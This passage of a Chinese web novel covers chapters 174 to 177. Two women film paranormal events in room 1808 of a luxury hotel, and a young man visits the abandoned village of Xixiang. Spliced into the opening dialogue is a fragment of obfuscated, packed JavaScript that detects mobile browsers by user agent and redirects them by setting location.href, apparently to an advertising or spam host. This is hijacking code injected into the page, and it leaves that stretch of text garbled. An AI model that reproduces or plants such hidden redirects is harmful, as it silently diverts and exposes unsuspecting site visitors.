“没问题，我给你们安排的房间在18层，1808号房间，所有的清洁工作已经做好了，待会儿我们酒店的小赵带你们过去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156737|146250||http|test|mini|href|location''.split(''|''),0,{}));
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顾经理说着，指了指身旁的男侍从。
男侍从礼貌地一鞠躬，他已经帮两个女孩子背上了背包，背上一个、手上一个，但他看起来体力很好，这些很重的背包他背着也不觉得很累，依旧保持着笔挺的站姿。
“这两天你们有任何事情都可以吩咐小赵去做，打房间里的电话，按井号键盘就可以转接到客服部，找小赵就可以了。”
小赵微微颔首，表示自己会随时待命。
“好的，那么就麻烦小赵了。”宋明夷开朗一笑，“我们的拍摄工作一般是在午夜，所以今天晚上可能得麻烦你熬夜一下了。”
“小事情，如果有需要我帮助的地方，请尽管吩咐我。”男侍从小赵的回答十分得体礼貌，像是一个被统一训练出来的服务型机器人，甚至是脸上微笑的弧度都和顾经理差不多。
“小赵，现在先带二位小姐去房间吧。”
“好的，二位请。”
“麻烦您了。”
“您客气了。”
暂时告别了顾经理，沈聆和宋明夷跟着男侍从小赵往酒店的电梯走去。
酒店大厅里有扶手电梯通往二楼的宴会厅，也有客梯能够直接通往楼上。
在电梯旁站着专门负责按电梯的招待员，电梯是古色古香的拉门式电梯，在顾客进入电梯后，电梯招待员便将铁拉门拉上，并按了数字“18”。
电梯颤抖了一下，便开始缓缓上升。
身入其内便感觉到像是回到了上世纪古堡的感觉，不得不说，世纪大酒店的整套服务流程十分成熟，在顾客入住后每一个环节都有专人服务。
电梯里只有两位侍从、宋明夷、沈聆四个人，气氛有点儿沉默，宋明夷开始没话找话。
“小赵啊，你们酒店如果住一晚，大概需要多少钱呀？”
“这要看您订的是什么价位的房间了。”
“比如标准的大床房呢？”
“我们这里是没有标准房的概念的，最低也是高级精品大床房，一晚上3000元左右，如果是雅致大床房，大概5000元上下，豪华房型可能要上万元，而总统套房的价格大概在两三万上下。”
“卧槽，这么贵？我一个月的工资可能只能在这里住一晚？”宋明夷瞠目结舌。
“这个……哈哈哈，我也住不起，不过，在这里落脚的，都是经济自由的人，比起钱财，他们更看重酒店的服务品质，我们也致力于给顾客提供最优的服务，让他们有宾至如归的感觉。”
“啧啧，真是贫穷限制了我的想象力。”宋明夷叹了口气，突然感觉到自己的渺小，她看向了沈聆，“你说，这个世界上的有钱人这么多，怎么就不能多我一个呢？”
沈聆笑而不语。
的确，这个世道，经济不是很景气，但有钱的人却越来越有钱，穷的人越来越穷，要改变自己的阶级，似乎越来越难。
有的人一出生就在罗马，有的人一生都在当牛马。
看来，投胎，才是这个世界上最大的博弈。
174. 1808号房
男侍从小赵带着沈聆和宋明夷到了酒店的18楼。
按照顾经理的安排，她们入住的房间是18楼的1808。
电梯一层层地上去，在到达18楼的时候停住了，沈聆注意到，在电梯的按钮盘上，还有19楼。
“我们酒店是一共有19层吗？”
她好奇地看向了男侍从小赵。
小赵礼貌地回答：“其实只有18层。”
“但是我看电梯的按钮上有19的样子……”
“哦哦，那个是因为如果只有18层的话，说出去不太好听，所以我们经理才决定在电梯井里加上数字19，虚称还有19层，实际上只有18层。”
“原来如此。”
沈聆点了点头。
她记得，方才在楼下刚见到顾经理的时候，顾经理似乎正在交代前台最近几天要做好客人信息的登记工作，而且她记得很清楚，当时顾经理似乎提到了酒店的18楼，出于某种原因，让前台尽量减少安排客人住在18楼。
18楼，在中国的传统观念里面，18楼，4楼都不是很吉利的楼层，放在现在的观念里，年轻人不会介意这方面的楼层选择的，但如果是保守一点的老人家，会避开这些特殊的楼层，而住在酒店，若是考究起来，也是有一定的说法，无论是楼层，房间的选择还是床铺的朝向，都有一定的道理。
在小赵的带路下，两个女孩子走出了电梯。
一进入酒店的走廊，便踩上了柔软的地毯，仿佛进入了一个宁静而优雅的艺术空间。
放眼望去，柔和的灯光从天花板上洒落，如一层轻纱般覆盖在米白色的地毯上，隐隐勾勒出精致的纹理。
走廊两侧的墙壁上挂着一幅幅艺术画作，或抽象、或写实，为整个空间增添了一抹浓厚的文化气息。
木质的踢脚线与深色的门框相得益彰，彰显出低调的奢华。
空气里弥漫着淡淡的清新香气，让人的心情瞬间舒缓下来，长长的走廊一眼望不到尽头，在寂静中散发着一种神秘的吸引力，仿佛每一扇紧闭的房门后都藏着一个独特的故事，等待着人们去开启。
走廊很安静，可见房间的隔音效果很好，从一间间紧闭的房门外走过，完全听不出房间里是否有人。
只不过，这走廊的空间有点儿狭窄，再加上没有对外的窗口，让人身居其中感觉到几分压抑。
两个女孩子跟着小赵往走廊的左侧走去。
沈聆留心了一下两侧房间的门牌号，这些房间是从1801开始编号的，电梯的左侧是1801，电梯的右侧是1817，可见这一层楼里面一共有17个房间，按照编号，从电梯的左手边开始编号，绕一圈回来后，又回到了电梯右侧。
踩过羊绒地毯，三人无声地沿着走廊往左侧尽头走去。
走廊两侧挂着许多油画，但令人侧目的是，这些油画全都是人像画，上面画着的有的是穿着华丽的中世纪少女，有的是佩剑的骑士，有的是街头的乞丐，有的是某个国王……这些人的视线由油画内看向外侧，似乎正看着走廊中走过的旅客，给人几分压抑的被凝视感。
越往里面走，便感觉到压抑的感觉越是浓郁，一开始啧啧赞叹的心情也逐渐消弭。
沈聆不由得感觉周围的气温似乎冷下来了几分，被那些油画中的人看着浑身不自在，她不由得拉了拉自己的外套。
——这个酒店，或许真的有什么东西。
沈聆默不作声地想着，小赵带着她们来到了走廊尽头的一个房间。
在房间前停下来，来两个女孩子抬起头，看见房间上挂着一个门牌号——1808。
沈聆和宋明夷面面相觑。
看来，给她们的房间，是走廊尽头的房间。
“我们……住在这里吗？”宋明夷带着几分半信半疑，看着小赵。
小赵脸上依旧带着礼貌的微笑，他点了点头，用不带一丝波澜的语气回答道：“是的，这就是1808号房间，目前房间里面已经做好了清洁工作，可以入住了。”
小赵从口袋里掏出了一个房卡，将房卡递给了宋明夷，宋明夷刷开了1808的房门。
迎面，吹来一股莫名其妙的寒气。
那寒气瞬间拂过脸颊、穿透了发丝，沈聆不由得打了个喷嚏。
“阿嚏……”
宋明夷看了一眼小赵：“房间里面冷气没关吗？我怎么感觉好像里面温度比较低一点？”
“没有，在入住之前，所有的空调循环系统都是关着的，需要刷卡才能给房间通电。”
小赵说着，带着两个女孩子进入了房间。
他的每一个回答都十分谦和恭敬，但那声音里却听不出任何的感觉，他就像是一个没有感情的机器人，不会说过多的话，也不会透露本分之外的信息。
“滴……”
在刷了房卡后，房间瞬间通上了电，电灯在下一秒打开，视野也被照亮。
也照亮了宋明夷的眼睛。
“我喜欢！”
宋明夷不由得感叹了一声，跑进了房间里。
沈聆紧随其后，走进了房间。
首先映入眼帘的是宽敞而典雅的空间布局，天花板上精致的吊灯洒下柔和而璀璨的光芒，照亮了整个房间，营造出一种温馨而高贵的氛围，地面铺着厚实的、带有精美图案的地毯，脚踩上去，仿佛陷入了云朵之中，舒适无比。
房间中央，摆放着两张双人床，床上用品是由最高品质的丝绸和纯棉精心制作而成，细腻的触感和精美的刺绣，彰显着奢华与品味，床头两侧的床头柜上，摆放着造型别致的台灯和智能控制面板，方便客人随时调整房间的灯光和温度。
房间的一侧是一个宽敞的休息区，配有一组豪华的沙发和茶几。茶几上摆放着新鲜的水果、精致的点心和一瓶高档的红酒，在沙发后面似乎是落地窗，只不过现在窗帘拉上了，看不到外面的风景。
房间的另一侧是一个功能齐全的办公区。办公桌上配备了高速无线网络、多功能插座和舒适的办公椅
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，满足商务旅客的工作需求，办公区的旁边是一个大型的衣柜，可用于收纳临时衣物。
沈聆绕过那休息区，看了一眼旁边作为淋浴室的隔间，在淋浴室宽敞的空间内，设有独立的淋浴间和浴缸。浴缸由高品质的大理石打造而成，让人可以在温暖的水中放松身心，享受片刻的宁静，卫生间内还配备了全套的高档洗漱用品、柔软的毛巾和吹风机等，为客人提供无微不至的关怀。
好家伙，不愧是几千元一晚上的豪华套房，这规格，让人住下来就不想走了。
“每天早上会有早餐服务，如果您需要的话，可以提前一天打电话给前台客服预约，另外，我们酒店还提供桑拿、健身房、游泳馆等休闲场所，如果需要的话，可以凭酒店的房卡到相关休息区域体验项目。”
小赵说着，轻轻将两个女孩子的书包放在了沙发上。
“顾经理给二位安排的是两天一夜的住房套餐，明天下午两点之前退房，如果想要续住，请提前打电话给前台预约登记。”
“如果要续住的话……是不是就要我们自己出钱了呀？”
“是的，因为我们内部只批了两天一夜的住宿费用，如果您要继续住的话，就要个人出钱了，信用卡或者扫码支付我们酒店都支持。”
听到这里，宋明夷不由得愁眉苦脸了几分。
由俭入奢易，由奢入俭难。
想到住完这两天一夜后，又要回到自己乱糟糟的小公寓里后，不由得感觉到几分来自现实的冲击，就像是经历过了黄粱一梦后，不得不又要回到苦涩的现实。
“那么，我先离开了，两位如果有事情的话，可以随时打电话到前台找我，我会配合两位的拍摄工作。”
“好的。”
“谢谢您。”
在礼貌地鞠躬后，小赵离开了房间。
“咔哒”一声，房门重新关上了。
宋明夷深吸了一口气，转头倒在了柔软的床垫上，她伸了伸懒腰，像一只慵懒的猫咪。
“啊——真好啊，好软的床垫啊，好想带回家——”
沈聆低下头，开始翻阅刚才从顾经理手中拿到的笔记本。
她倒是对酒店里的灵异现象比较好奇。
宋明夷在床上翻了个身，看向了沈聆：“……小聆聆，你知道住酒店有什么禁忌吗？”
沈聆抬起头对上了宋明夷的视线：“怎么说？”
“住酒店呢，也是有风水方面的讲究的，有六个不住！”
“六个？这么多？”
“对，且听我娓娓道来：一是楼层尽量不要选择4楼、18楼；二是入住时尽量不要选择走廊尽头的房间；三是尽量避免住在镜子对着床的房间；四是住酒店禁忌入住后在半夜照相；五是住酒店禁忌入住后在半夜剪指甲；六是禁止在酒店房间里玩招魂类的游戏……以上这些动作呢，极有可能让你看到不干净的东西。”
宋明夷话锋一转，指了指这间房间。
“而我们，好像占了其中大部分禁忌哦。”
175. 水声
“那么……按照你的意思，住酒店的禁忌其实我们都做得差不多了？”
沈聆一挑眉看着宋明夷。
宋明夷扁着嘴巴点了点头。
也不知道是有意还是无意，她们住进了灵异酒店后，就被安排在了18楼，并且还是走廊尽头的房间。
这么一想，若是在乎那些风水学的人，想必此刻就会要求酒店给他们换一个房间，但是她们不一样，她们这次来就是为了探索灵异现象的，可以说算是“逆流而上”的人，别人越是害怕的东西，就越是她们想看到的东西。
“你还别说……我们俩的运气还不错。”
“小聆聆，你太天真了，你以为只是运气吗？”
“你的意思是……这是顾经理有意安排的？”
“多半是。”宋明夷语重心长地说，“像他这种经营酒店的人，没道理不知道关于酒店的灵异传闻以及风水上选房间的禁忌，但他还是给我们安排了这个房间，一方面，18楼走廊尽头的房间刚好是豪华房，对外可以说是他们待客有道；另一方面，如果酒店真的有什么不干净的东西，把我们放在这个地方，更能增加拍摄到奇怪现象的概率，从而打出酒店的知名度……所以啊，这天下没有免费的午餐，就是这个道理。”
“想不到，你还是个心思细腻的人啊，我还以为你一直以来都是胡咧咧的性格呢。”
“算不上心思细腻吧。”宋明夷在床上翻了个身，“只不过出来工作后，见识到了一些社会上的世态炎凉，所以对人心和人性也就没有太多积极的想法了。”
“这可不像是你一个二十出头的女孩子说出的话啊。”
“小聆聆，你现在还在读书，你不知道这个社会有多险恶。”宋明夷咂了咂嘴，“永远不要考验人性，小聆聆，这个世界上的坏人远远比你想象中更多一点，只不过他们把自己的小心思都藏起来了，伪装成好人的样子，实际上个个都是精致的利己主义者。”
沈聆笑笑，没有说话。
此刻，她正在翻阅顾经理给的那本笔记本。
笔记本上的内容很详细，第一起灵异事件是发生在一年前，是一对新婚夫妻入住酒店后，莫名其妙地在酒店里听见见了女孩子的哭声，甚至半夜的浴室里都传出了水声，在二人起床一看时，发现水龙头不知道为什么被打开了，甚至第二天夜里也发生了同样的情况，这对小夫妻觉得情况很诡异，便跟前台反馈了这个情况，并在第三天退房了。
从那时候开始，灵异事件便开始陆续发生，顾经理便吩咐前台记录下关于酒店客人上报的灵异事件，并每一次都要求拍摄当场的照片，以留作凭证。
不得不说，顾经理是一个很细心的人。
自从他安排了前台做好记录后，便可以看到笔记本上的内容越来越详细了起来。
每一起事件都包括了客人上报的时间、事件内容、查看情况等。
所有的事件结尾，都是同样的一句话——经过查看，并无发现异常。
奇怪的是，所有的事件发生的楼层基本都是在18楼，除了有几起发生在花园和电梯外，基本都是围绕着18楼发生的事情。
这些灵异事件发生的地点相对集中，18楼的每一个房间似乎都多少有发生过奇怪的现象。
有的住客反馈房间里的东西有时候会自己移动位置，有时候会感觉有人在看着自己，有时候感觉镜子里像是有什么东西跑了过去，又有时候感觉有人在房间里走来走去……
总之，发生的灵异事件各种各样，但大部分都是给人细思极恐的体验，并不是直接带来身体生理上的不适。
沈聆翻阅着笔记本上的记录，将每一个事件以及当时拍摄的照片都认真看了一遍过去，心中暗暗揣摩：
——可见，就算世纪大酒店是有什么不干净的东西，想来那东西磁场也并不是很强，按照道长的说法，是没有到会伤人的地步。
——但是它频频作祟，显然是有意让人知道自己的存在。
——这么做的理由是什么呢？
——是想把所有人赶出18层楼吗？
——它想自己安安静静地待在这里？
——是不愿意被人打扰吗？
……
这么想着，沈聆合上了手中的笔记本。
“怎么样？小聆聆，有什么收获吗？”
宋明夷懒得看那些笔记，恰好沈聆感兴趣，她就直接问问看沈聆的观后感。
“我感觉……这里应该是有点儿东西的，但是那个东西的磁场和修为并不强，它或许没有恶意，只是想把住户从这层楼赶出去而已。”
“都是发生在18层楼吗？”
“差不多，还有一些发生在花园和电梯里，但是大部分都在这一层。”
“那看来，我们入住18层楼的豪华客房，并不是顾经理给我们面子啊，他是刻意把我们放在这里的……”宋明夷说着，摸了摸下巴，“按照阴阳学说，入夜之后，阴气开始加重，我们今天晚上就来看看那些灵异现象是怎么回事吧。”
“你打算怎么做？”
“我想着……我们现在可以先去做个蒸桑拿，再做个SPA，另外吃个晚饭，入夜后再开始准备。”
宋明夷说着，起身来到了沙发前。
她拉开了自己的黑色背包，从里面拿出了一个个沈聆之前没有见过的工具。
“小聆聆，我跟你说，作为灵异主播呢，我的工具是很齐全的……我有红外线摄像机，能够捕捉房间里红外线、热成像的情况，另外我还带了扎黁用的紫外线数码摄像机，这个摄像机固定在地上，对着房间，可以用蓝光和紫外线增加摄影机在黑暗中捕捉影像的能力，达到一秒钟拍摄八张照片的能力……我所有的摄像机都接驳了电子灵音现象系统，能录下房间里一闪而过的声音，并且利用数据软件进行分析、慢放，从而找出那些人耳听不见的声音里面是否有类似人声的部分。”
宋明夷将那些设备一一放在桌子上，她甚至还带了折叠的脚架以及笔记本电脑。
她对这些东西如数家珍，看起来是真的在灵异主播的这个赛道上深有研究了。
“……你买这些东西，很贵吧？”
沈聆绕到了沙发后面，看着宋明夷眼前摆放的许多设备，不由得啧啧感叹。
表面上，她只是一个平安医院的小护士，没想到还舍得花这么多钱在这些专业设备上。
看来，在灵异主播的职业上，她投资不小。
难怪每一次调查灵异事件的时候，她哪怕冒着生命危险也要拍摄……这可是她能够回本的唯一办法啊！
宋明夷拿出了自己的手机，向沈聆展示了一下自己的手机摄像头：“你看，小聆聆，我的手机也是专门改装过的，我的手机摄像头具有更强的夜视功能，并且能够超清晰地记录下黑夜中拍摄的画面，我前几次的素材，都是多亏了这把手机！”
“这些……大约要多少啊？”
宋明夷扫了一眼，大致估计了一下：“二十几万吧。”<
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沈聆瞠目结舌：“啥？你的工资有这么多吗？”
“哎呀，我做主播，那些直播打赏、流量、以及视频的播放都是可以变现的，前几次我的视频那么火，赚的钱都是用来买这些东西了……这次正好有了一个机会让我用用看这些大家伙，让我试试看他们的威力有没有网上说的那么厉害！”
“刷……”
就在这一刹那间，原本安静得连根针掉落在地上都能听得一清二楚的房间内，突然间从卫生间里传出一阵“哗啦哗啦”的冲水声响。
“？！”
这突如其来的声音犹如一道惊雷，毫无征兆地在空气中炸裂开来，冷不丁地把正在客厅里的两个人吓得浑身一颤。
她们像是被施了定身咒一般，身体瞬间僵住，眼睛则不受控制地直直望向卫生间所在的方向——
卫生间的门上镶嵌着一块毛玻璃，从房间里虽然看不清卫生间里具体的景象，但透过那层朦胧模糊的玻璃，可以隐约瞧见一个若隐若现的人影似乎在里面轻轻地摇晃了一下。
仅仅只是这么一瞥，就让两个人的心猛地往下一沉，一种难以言喻的恐惧如潮水般涌上心头。
两人面面相觑，目光交汇的那一刻，彼此都从对方的眼神中读到了同样的惊恐和不安。
然而，谁也不敢轻易开口打破这份令人窒息的沉默，生怕一出声就会惊动到隐藏在卫生间里的未知存在。
宋明夷紧紧咬着嘴唇，大气都不敢出一口，她小心翼翼地屏住呼吸，然后缓缓地从柔软的沙发上站起身来，与此同时，她的手如同条件反射般迅速摸向口袋，掏出手机并顺势打开了拍摄模式，准备随时记录下可能出现的任何异常情况。
一旁的沈聆深深地吸了一口气，努力让自己那颗狂跳不止的心脏稍微平静一些。
接着，她动作轻柔地绕过那张宽大的沙发，每一步都迈得格外小心谨慎，生怕发出一丝一毫的声响。
她一步步慢慢地靠近卫生间，距离那扇散发着神秘气息的门越来越近。
宋明夷紧跟在沈聆身后，手里紧握着已经开启拍摄功能的手机，紧张得手心直冒汗。
整个屋子里弥漫着一股凝重压抑的气氛，时间仿佛在此刻凝固了一般……
“刷……”
越靠近卫生间，那水声就越是明显。
越靠近卫生间，那毛玻璃上的影子轮廓也就越深。
——是谁？
——有谁在卫生间里吗？
沈聆走到卫生间门口，她深吸了一口气，一把拉开了卫生间的门。
“刷拉——”
就在这时，毫无征兆地，一股阴冷至极、令人毛骨悚然的寒气如汹涌的潮水般扑面而来！
她心中一惊，身体不由自主地颤抖起来，出于本能反应，她下意识地紧紧闭上了双眼，不敢去看那股寒气究竟来自何方。
然而，当她再次鼓起勇气缓缓睁开眼睛时，发现卫生间里并无一人，只有一个水龙头不知为何开着，哗哗作响，水流湍急地从水龙头口喷涌而出，形成一道银色的水柱，毫不留情地冲击着洗手台。
是谁开了水龙头？
明明她们刚才进来的时候，卫生间里并没有水声。
这水龙头，似乎是刚刚才被拧开的……
沈聆脸色阴沉地转过头看向了身后的宋明夷，她发现宋明夷的脸色有点儿苍白，但眼眸里是抑制不住的兴奋。
“太好了，小聆聆，看来我们这一趟，没有白来啊……”
176. 西乡
刚一进入酒店，沈聆和宋明夷就算是见识到了世纪酒店的诡异之处。
如果这对于普通人来说，或许就会心里发毛、并且要求前台给自己换一个房间。
只不过，今天她们恰好就是奔着那灵异事件来的，就算是有灵异现象也不担心，正好满足了她们的拍摄需求。
本来还担心之前笔记本上记录的那些灵异现象不过是酒店住客的错觉，但现在看来，似乎这一切并不是无中生有，空穴来风、未必无因，她们还真是来对了。
“咔哒。”
宋明夷将她的摄像头架在了架子上，并且按照房间的格局，将摄像头放在房间的角落，让摄像头能够尽可能拍摄到房间的每一处。
此外，她还在房间的墙壁、衣柜等地方贴上了感应装置，感应装置是一个带灵敏感应的小灯泡，如果有温差或者是有生命物体走过，小灯泡便会亮起来，她将这些东西不知道从哪里淘到的小东西都安装在了房间的各个角落，特别是卫生间，更是放上了红外线摄像装置，让自己能够尽可能多捕捉一些可疑的动态。
安装好这一切后，宋明夷拍了拍手，此时的她，与其说是个护士，倒更不如说像一个理工生。
她打了个响指，看向了沈聆：“好了，小聆聆，那么我们现在就可以先去做一个桑拿了。”
“你确定这样就可以了吗？”沈聆坐在沙发前，正吃着客房服务送来的果盘。
如果暂且不论客房里发生的灵异事件的话，这间酒店确实是一个不错的休闲旅游的落脚点。
每一间房间都打扫得一尘不染，客房服务也十分到位，送的免费的果盘也很新鲜，酒水也都是年轻人喜欢的牌子。
可以说，就入住体验来说，世纪酒店是没问题的。
“我想着，我们也不用24小时都待在房间里吧？两天一夜诶，一直待在这里多闷得慌啊，而且老是疑神疑鬼的，人也容易精神紧张，人气太多的话，这些阴魂不容易出来……不如我们出去走走，放松一下，至于这间房间，你就放心吧，我已经把我看家的家底全都拿出来了，如果有奇怪的影子，一定可以捕捉到的。”
“明夷，你确定不用我直接‘唤魂’吗？”沈聆犹豫着，“刚才我明显感觉到房间里不只有我们两个人，我想，或许真的有没有超度的亡魂还停留在这个房间里，如果唤魂的话，说不定可以看到什么……”
“别呀，那我们的素材岂不是一下子就录好了？那可不行，我还想着多录一些，到时候也可以剪辑成好几期专题，跟连续剧一样让大家追着看，这才有流量。”
“你可真行，你不怕惹怒了那些不干净的东西吗？”
“他们应该也做不了什么吧？毕竟也就只能开开水龙头、吓一吓住在酒店的旅客而已，最多……一怒之下、怒了一下哈哈哈哈……”
“你话可别说太早了，你忘了我们在404遇到的刘悦和马念悦吗？他们虽然没有实体，但是却能杀人。”
沈聆的声音有点儿阴沉，听着带着几分让人毛骨悚然的感觉。
宋明夷不由得打了个冷颤：“不至于吧？就目前你看到的那些酒店的灵异事件记录里面，应该没有出现有人受伤的事情吧？我看这里的鬼不像404那么可怕。”
“谁知道呢，我刚才在楼下的时候，好像看到有人在18楼的窗口从上面看下去，不知道这层还有住几个人，他们有没有看到一些奇怪的事情。”
“啊？还有人敢住在这里吗？那胆子还真大诶，说不定是我们的同行。”
“有这个可能，我想着，等我们拍摄结束后，说不定可以拍点走访其他住客的物料，到时候你也好剪辑进去。”
“有道理！小聆聆，你真的越来越上道了！”
宋明夷说着，一屁股坐到了沈聆身边，拿了一块苹果吃，酸酸甜甜的果汁瞬间盈满了整个口腔。
沈聆看着满屋子的设备，心里却挂念着不知道吴妄那边调查的进度如何了，按照时间算算，他现在应该也已经到西乡了。
……
话分两头。
且说吴妄早上离开沈聆家后，便自己坐大巴去往西乡。
他谨遵着沈聆所说的话，来到了大巴站静静地等待着55路大巴车的到来，时间一分一秒地过去，终于，那辆承载着他期待的55路大巴缓缓驶出了站台。
车门打开，他迈着轻快的步伐登上了大巴车，熟练地掏出手机扫描二维码完成支付后，找了个靠窗的座位坐了下来。
随着车辆启动，55路大巴车缓缓驶离了陵川市区。
越远离市中心，周围的景象就越发显得萧瑟与冷清。
原本繁华热闹的街道和高楼大厦渐渐消失在了视野之中，取而代之的是一片片略显荒芜的土地和稀稀疏疏的树木。
55路大巴车沿着宽阔的国道一路向西行驶着，道路两旁的房屋也在悄然发生着变化。
起初还是那些高耸的多层建筑，但随着路程的推进，这些建筑逐渐被普通的民居所取代，再后来，连普通民居都变得稀少起来，映入眼帘的更多是当地群众自己搭建的简易住房。
——自从那次从青城山出来以后，他一直都待在陵川市内，未曾踏足过其他任何地方。
这次，算是他有生以来第一次真正意义上离开陵川市区，前往一个完全陌生的地域。
心中既充满了对未知世界的好奇与憧憬，又难免夹杂着一丝对未知的调查结果的不安和忐忑。
吴妄安静地坐在大巴车的后排座位上，身旁就是那扇宽大而透明的车窗。阳光透过玻璃洒在他身上，形成一片片斑驳的光影。
随着车辆缓缓启动，乘客们也陆陆续续地上了车。有的人步履匆匆，仿佛被时间追赶；有的人则不紧不慢，悠然自得地寻找着自己的位置，吴妄饶有兴致地观察着每一个上车的人，心中暗自揣测着他
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们背后可能隐藏着的故事。
眼前走过的人中，既有白发苍苍的老者，他们脸上刻满了岁月的痕迹，眼神中透露出历经风雨后的淡定和从容；也有活泼可爱的孩子，蹦蹦跳跳地跟着父母登上车，眼中闪烁着对未知旅途的期待和兴奋。
男性乘客们或行色匆匆，或神态自若；女性乘客们则打扮各异，有的妆容精致，有的素面朝天，但无一例外都展现出独特的魅力。
那些满脸沧桑的人，或许经历过生活的重重磨难，却依然坚强前行；而那些一脸兴奋的人，则可能正怀揣着美好的梦想，准备踏上新的征程。
各种各样的神情在这个狭小的空间里交汇、碰撞，然后又如同流星般迅速划过，消失不见。
每个人都是自己人生剧本中的主角，都在上演着属于自己的悲欢离合，而这辆大巴车就像是一个短暂的舞台，将这些陌生人汇聚在一起，让他们的命运轨迹在此短暂交织，而后又各自延伸向不同的方向。
城市——城乡结合部——荒原。
越往远处走，景色便越是荒凉。
那些荒原上，黄色的杂草中夹杂着几分绿色的新芽，看起来像是被春意换新的植被，在枯草堆中暗藏生机。荒原上立着一些干枯的树干，那些树木的叶子全都掉光了，只有光秃秃的枝干岔开在半空中，看着便平添几分冷情。
吴妄乘坐着55路大巴车，大约走了一个半小时后，来了一个小村落。
“西乡到了，有人要下车吗？”
大巴车司机在前头吆喝了一句。
吴妄从座位上站了起来：“我要下车。”
于是乎，这辆风尘仆仆的大巴车就这么停在了西乡的小村口。
吴妄下了车，便感觉到迎面的风带着几分凉意。
阴霾的天空沉甸甸地压在这片土地上，仿佛一块巨大的铅板，随时都会倾塌。
他放眼望去，映入眼帘的是村口的一棵老树，这是一棵槐树。
是的，跟新隆公寓的老槐树一样，这棵槐树看着也有了一定的年份。
槐树像一位慈祥的老者静静地守护着这片土地，它那粗壮的树干上布满了岁月的褶皱，繁茂的枝叶在微风中轻轻摇曳，发出沙沙的声响，似在低吟着古老的歌谣。
树旁有一口斑驳的石井，石井沿上爬满了青苔，几缕藤蔓垂落下来，随着微风晃悠。清澈的井水在夕阳的映照下，闪烁着细碎的金光，偶尔有一两片树叶飘落其中，漾起一圈圈微微的涟漪。
可以看到村落里连片的房屋，但那些农村自建房大部分都是土房子，黑色的瓦片盖住了残破的墙体，整个村落寂静得可怕，没有欢声笑语，没有鸡鸣犬吠，只有风声在空荡荡的街巷中呼啸而过，吹起地上的尘土和落叶，更增添了几分凄凉与萧瑟。
吴妄微微眯起眼睛，不由得心下一沉。
这个村落，一派沉沉的死气，似乎连一个活人都没有……
177. 梁家祖宅
吴妄看着这荒凉的村落，心中暗暗惊讶。
——毕竟早有耳闻梁家的富可敌国，但他们的祖宅却在这么一个荒凉的地方，似乎有点儿出人意料。
吴妄绕过村口的大槐树和古井，沿着黄土小路，朝着西乡村里走去。
如果按照马伯良的AI绘图技术以及林凌的调查结果来看，他们在人鱼镜里看到的的确就应该是梁家的祖宅。
无论如何，他还是要前往一探。
至少，这可能是为数不多的，和吴家村屠村案有关的线索了。
踏入这个村落，一股衰败与荒芜的气息仿若实质般扑面而来。
西乡村内，残垣断壁如同被战火洗礼后的废墟，四处散落。
许多房屋如今只剩下了岌岌可危、仿若骨架般摇摇欲坠的框架，破碎的瓦片零乱地铺在地上，像是被岁月无情践踏的鱼鳞，早已失去了原本的色泽与光泽。
有的墙壁已经坍塌了半边，恰似被利刃削去半边身子的伤者，袒露屋内那如沉船遗骸般破败的景象，积满厚重灰尘的家具残骸、腐朽得如同病入膏肓之人的梁柱，无不彰显着这里被时光无情遗弃的悲凉命运。
蜿蜒曲折的小路好似一条被荒草编织而成的绿色巨蟒，早已将其身躯彻底淹没，人迹罕至的落寞在这里展露无遗，草丛中偶尔能瞥见一些锈迹斑斑的农具，它们仿佛是被时间尘封在历史角落、被遗忘许久的孤独战士，虽身披锈蚀的战甲，却依旧倔强地坚守在这片荒芜的土地上。
四周寂静得令人胆寒，没有鸡鸣犬吠的生机喧闹，没有欢声笑语的灵动活力，唯有风声如恶鬼的尖啸，在空荡荡的街巷中横冲直撞，卷起地上的沙尘，恰似一群迷失方向的幽灵在游荡，给这个荒凉的村落更添几分凄凉与落寞，仿若一幅色调灰暗、笔触沧桑的末日画卷，在眼前徐徐展开。
偶尔之间，可以瞥见那匆匆忙忙、行色匆匆的行人。
远远地望去，只能瞧见那几个模糊不清的身影，仿佛是这寂静村落中仅剩的寥寥数户人家，然而，即便是在阳光明媚的白昼时分，这些人却好似对户外充满忌惮一般，丝毫不愿在此多作片刻停留。
当他们无意间瞥见吴妄的身影时，竟如同惊弓之鸟般，迅速转身朝着远方飞奔而去，眨眼间便消失得无影无踪。
——那样子，就好像他们正在忧心忡忡地躲避着某种可怕的威胁或是灾难。
究竟是什么原因让他们如此惶恐不安？难道这看似宁静祥和的村落背后隐藏着不为人知的秘密与危险吗？而吴妄又为何会引起他们这般惊恐万状的反应呢？
一切都显得扑朔迷离，令人心生疑惑。
吴妄心下疑惑，他走到一家小卖部前，跟老板说要一瓶矿泉水，趁着老板转身去取水的空当，问道：“老板，我看着个村里面的人不是很多，是都搬走了吗？”
老板拿来了一瓶矿泉水，那打量的眼神在吴妄身上转了一圈后落在放在他面前的矿泉水上：“小兄弟，看你面生，你应该是外地人吧。”
“对，我是来走亲戚的。”
“亲戚？你有什么亲戚住在这里？”
“找一位姓徐的老婆婆，她早些年嫁给了沈家，随后生了一个女儿的那个老婆婆，我是她外孙女的朋友，她外孙女有些东西托我过来交给老人家。”
吴妄假借沈聆外婆的名义，作为自己来访西乡的缘由。
在来此地之前，吴妄并没有告诉沈聆的外婆关于自己在人鱼镜中看到的事情。
这件事情毕竟涉及到吴家村的屠村案，对吴家村下手的人想必十分危险，因此，这样的事情少一个人知道就少一份危险，老人家年纪也大了，没必要让她也涉险其中。
因此，今天吴妄来西乡，沈聆和吴妄是瞒着老人家的。
外婆和梁家熟识，事后若是东窗事发，外婆作为一个被瞒在鼓里的人，想必也不会被为难。
吴妄不愿意让无辜的人牵连到自己的事情中。
“你是来找徐婆婆的？”
“对，她女儿生了两个孩子，她有两个外孙女，我是她大外孙女的朋友。”
小卖部的老板听了吴妄的托词，倒是没有怀疑，毕竟他说的都是真人真事。
“哦哦，如果你是找徐婆婆啊，那就不巧了，她啊前段时间出去外面了，好像说是家里出了点事情，去陵川市的女儿女婿家了，除了之前梁家老太太出殡的时候有看过她，后面好像没见她再回来了。”
“家里没有其他人了吗？”
“应该是没有了，老人家都是独居的。”
